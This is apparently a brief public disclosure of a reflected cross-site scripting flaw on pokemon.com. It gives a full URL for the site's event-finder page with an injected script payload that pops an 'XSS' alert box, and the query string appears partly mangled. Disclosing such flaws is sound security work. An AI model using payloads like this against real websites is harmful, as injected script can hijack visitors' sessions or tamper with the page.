pokemon.com XSS vulnerability

Vulnerable URL: https://www.pokemon.com/us/play-pokemon/pokemon-events/find-an-event/?city=Providencepp=100name=type=premierdate=365name==%22%3E%3Cscript%3EalertString.fromCharCode88,83,83%3C/script%3E176order=whencode=02905within=250=61+Trask+St.type=tcgobject=0date=0other=1=1 Details:...